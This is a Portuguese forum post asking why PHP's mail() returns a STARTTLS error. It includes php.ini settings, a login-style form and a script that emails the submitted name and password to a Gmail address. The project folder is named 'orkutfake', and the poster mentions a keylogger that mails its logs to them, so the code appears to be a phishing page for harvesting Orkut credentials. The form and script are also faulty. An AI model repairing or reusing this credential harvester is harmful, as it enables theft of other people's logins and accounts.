Problema com a função mail()
Estou tentabdo utilizar a função mail() a partir da minha máquina(localhost), estou tentando a um bom tempo fazer funcionar.
Deixei o php.ini assim:
[mail function]
; For Win32 only.
SMTP = smtp.googlemail.com
; http://php.net/smtp-port
smtp_port = 25
; For Win32 only.
; http://php.net/sendmail-from
sendmail_from = meuemail@gmail.com
; For Unix only. You may supply arguments as well (default: "sendmail -t -i").
; http://php.net/sendmail-path
;sendmail_path =
Só mudei a parte:
SMTP = smtp.googlemail.com
sendmail_from = meuemail@gmail.com
Reiniciei o Apache. Testei no formulário:
<form action="envia.php" method="post">
First name: <input type="text" name="" /><br />
Last name: <input type="password" senha="" />
<input type="submit" value="Login">
</form>
onde envia.php é assim:
<?php
$name = $_POST['name'];
$senha = $_POST['senha'];
mail("email@gmail.com","Assunto",$name,$senha);
echo"email enviado...";
?>
O erro que aparece quando abre envia.php é:
Warning: main(): It is not safe to rely on the system's timezone settings. You are required to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'America/Sao_Paulo' for '-3.0/no DST' instead in C:\Program Files (x86)\Apache Software Foundation\Apache2.2\htdocs\orkutfake\envia.php on line 2 Notice: Undefined index: name in C:\Program Files (x86)\Apache Software Foundation\Apache2.2\htdocs\orkutfake\envia.php on line 2 Warning: main(): It is not safe to rely on the system's timezone settings. You are required to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'America/Sao_Paulo' for '-3.0/no DST' instead in C:\Program Files (x86)\Apache Software Foundation\Apache2.2\htdocs\orkutfake\envia.php on line 3 Notice: Undefined index: senha in C:\Program Files (x86)\Apache Software Foundation\Apache2.2\htdocs\orkutfake\envia.php on line 3 Warning: mail(): It is not safe to rely on the system's timezone settings. You are required to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'America/Sao_Paulo' for '-3.0/no DST' instead in C:\Program Files (x86)\Apache Software Foundation\Apache2.2\htdocs\orkutfake\envia.php on line 4 Warning: mail(): SMTP server response: 530 5.7.0 Must issue a STARTTLS command first. f24sm10196048yhk.5 in C:\Program Files (x86)\Apache Software Foundation\Apache2.2\htdocs\orkutfake\envia.php on line 4 email enviado...
Algo errado??
OBS: Tenho um keylogger aqui que envia os logs para o meu e-mail, na parte para configurar o e-mail, quando eu coloco um e-mail do gmail, ele utiliza o smtp: smtp.googlemail.com e a porta 465, e realmente funciona, porque ele manda um teste para o meu e-mail. Será que eu deveria configurar o php.ini para usar a porta 465???
ninguém??
Caramba... Ninguém pra ajudar com isso???????????????????????????????????????????????????????????????????????????????????????????
Discussão (2)
Carregando comentários...